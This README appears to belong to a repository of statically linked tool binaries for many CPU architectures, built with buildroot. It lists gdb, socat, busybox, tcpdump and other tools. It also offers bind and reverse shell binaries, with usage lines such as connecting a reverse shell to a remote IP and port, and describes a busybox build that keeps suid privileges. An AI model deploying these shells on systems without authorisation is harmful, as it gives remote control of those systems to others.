Prebuilt binaries for multiple architeture (arm, armeb, aarch64, aarch64_be, mips, mips1, mipsel, mipsel1, mips64, mips64el, powerpc, powerpc64, powerpc64le, riscv64, i586, x86_64)
All binaries are statically linked and stripped.
Please go to the Release page for downloads. *archName*_tools.zip
contains tools’ binary (see Tools Section) for that specific arch, and allinone.zip
contains all of it.
Or download single file directly from bin
branch.
The source code and scripts can be
found in the branch.
Buildroot
- MIPS-I and MIPSEL-I are using
buildroot 2014.11
because they remove support after that version. - Others are using
buildroot 2019.11.1
- ompiled toolchain can be found at action’s artifacts page (mips1/mipsel1 are file packages from
output/host
, others are frommake sdk
)
Tools
- gdb (mips1/mips1el are using
gdb 7.12.1
, others are8.3.1
) - socat
- Busybox (And busybox_nodrop is the one that replaces all BB_SUID_DROP with BB_SUID_MAYBE, which means it will not drop suid in applets.)
- bind/reverse shell
- bind/reverse shell.so library (barely tested)
- tcpdump
- strace
- Dropbear(mips1/mips1el are not static link
:(
) - lsof
Bind/Reverse Shell binary
- Run the bind shell without arguments like
./bind_shell
will listen on port 3343 and./bind_shell 6666
will listen on 6666. - Run the reverse shell binary without arguments will connect to 127.0.0.1:3343. One could use a hex editor to change the cstring, which contains the ip/port. or
./reverse_shell 1.1.1.1 12345
will connect to 1.1.1.1:12345;./reverse_shell 1.1.1.1
will connect to 1.1.1.1:3343
gdb (Important)
- gdbserver is compiled without libthread_db.
- gdb need libthread_db.so.1 to support multithreaded debugging. If you run into SIGSEGV when r the program, run set libthread-db-search-path 0 in gdb first, then there will be warning about libthread_db.so.1, Just ignore it.
Github Actions
The config file for buildroot and github actions’ workflow file are in the src
branch.